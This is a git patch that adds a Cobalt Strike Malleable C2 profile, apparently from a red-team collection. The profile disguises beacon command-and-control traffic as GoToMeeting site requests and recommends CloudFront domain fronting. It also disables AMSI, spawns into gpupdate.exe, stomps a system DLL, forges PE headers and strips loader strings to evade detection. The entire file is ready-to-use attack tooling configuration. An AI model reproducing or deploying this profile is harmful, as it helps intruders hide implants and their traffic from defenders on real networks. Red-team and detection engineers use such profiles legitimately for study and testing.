From 12f8cf6720f0cdf5bbe13819d676d7eec8f043cf Mon Sep 17 00:00:00 2001 From: xx0hcd Date: Wed, 27 Feb 2019 14:14:47 -0600 Subject: [PATCH] Create gotomeeting.profile --- normal/gotomeeting.profile | 211 +++++++++++++++++++++++++++++++++++++ 1 file changed, 211 insertions(+) create mode 100644 normal/gotomeeting.profile diff --git a/normal/gotomeeting.profile b/normal/gotomeeting.profile new file mode 100644 index 0000000..31d81fe --- /dev/null +++ b/normal/gotomeeting.profile @@ -0,0 +1,211 @@ +#gotomeeting profile +#works good using Cloudfront with domain fronting, especially since Cloudfront doesn't verify the CNAME you enter... +#this traffic mimics site traffic, NOT the actual ADP protocol used when the app loads and the meeting starts. +#xx0hcd + +set sleeptime "37000"; +set jitter "25"; +set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"; +set dns_idle "8.8.8.8"; +set maxdns "245"; + +set sample_name "gotomeeting.profile"; + +#https-certificate { +# set keystore "your_store_file.store"; +# set password "your_store_pass"; +#} + +#ordering server response headers, from 3.13. +http-config { + set headers "Server, Content-Type, Brightspot-Id, Cache-Control, X-Content-Type-Options, X-Powered-By, Vary, Connection"; + header "Content-Type" "text/html;charset=UTF-8"; + header "Connection" "close"; + header "Brightspot-Id" "00000459-72af-a783-feef2189"; + header "Cache-Control" "max-age=2"; + header "Server" "Apache-Coyote/1.1"; + header "X-Content-Type-Options" "nosniff"; + header "X-Powered-By" "Brightspot"; + header "Vary" "Accept-Encoding"; +} + +http-get { + + set uri "/functionalStatus"; + + client { + +#set Host header to whatever +# header "Host" "whatever.gotomeeting.com"; + header "Accept" "*/*"; + header "Accept-Language" "en-US"; + header "Connection" "close"; + + metadata { + base64url; + parameter "_"; + + } + + } + + server { + + output { + + netbios; + + prepend "content="; + prepend "\n"; + prepend "\n"; + prepend "\n"; + prepend "Online Meeting Software with HD Video Conferencing | GoToMeeting\n"; + prepend " \n"; + prepend " \n"; + prepend "\n"; + prepend "\n"; + + append "\n\n"; + append "\n"; + append "\n"; + append "\n"; + print; + } + } +} + +http-post { + + set uri "/rest/2/meetings"; + set verb "GET"; + + client { + +#set Host header to whatever +# header "Host" "whatever.gotomeeting.com"; + header "Accept" "*/*"; + header "Accept-Language" "en"; + header "Connection" "close"; + + output { + base64url; + parameter "includeMeetingsICoorganize"; + } + + + id { + base64url; + parameter "includeCoorganizers"; + + } + } + + server { + + output { + netbios; + + prepend "content="; + prepend "\n"; + prepend "\n"; + prepend "\n"; + prepend "Online Meeting Software with HD Video Conferencing | GoToMeeting\n"; + prepend " \n"; + prepend " \n"; + prepend "\n"; + prepend "\n"; + + append "\n\n"; + append "\n"; + append "\n"; + append "\n"; + print; + } + } +} + +http-stager { + + set uri_x86 "/Meeting/32251817/"; + set uri_x64 "/Meeting/32251816/"; + + client { +#set Host header to whatever, probably using stageless anyway right? +# header "Host" "whatever.gotomeeting.com"; + header "Accept" "*/*"; + header "Accept-Language" "en-US"; + header "Connection" "close"; + } + + server { + + } + + +} + +###Malleable PE Options### +#always test spawnto and module stomp before using. My examples tested on Windows 10 Pro. + +set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe"; +set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe"; + +#attept to disable amsi for execute-assembly, powerpick, and psinject from 3.13 +set amsi_disable "true"; + +#used peclone on wwanmm.dll. +#don't use 'set image_size_xx' if using 'set module_xx' +stage { + set checksum "0"; + set compile_time "25 Oct 2016 01:57:23"; + set entry_point "170000"; +# set image_size_x86 "6586368"; +# set image_size_x64 "6586368"; +# set name "WWanMM.dll"; + set userwx "false"; + set cleanup "true"; + set sleep_mask "true"; + set stomppe "true"; + set obfuscate "true"; + set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + + +#module stomp + + set module_x86 "wwanmm.dll"; + set module_x64 "wwanmm.dll"; + + transform-x86 { + prepend "\x90\x90\x90"; + strrep "ReflectiveLoader" ""; + strrep "beacon.dll" ""; + } + + transform-x64 { + prepend "\x90\x90\x90"; + strrep "ReflectiveLoader" ""; + strrep "beacon.64.dll" ""; + } +}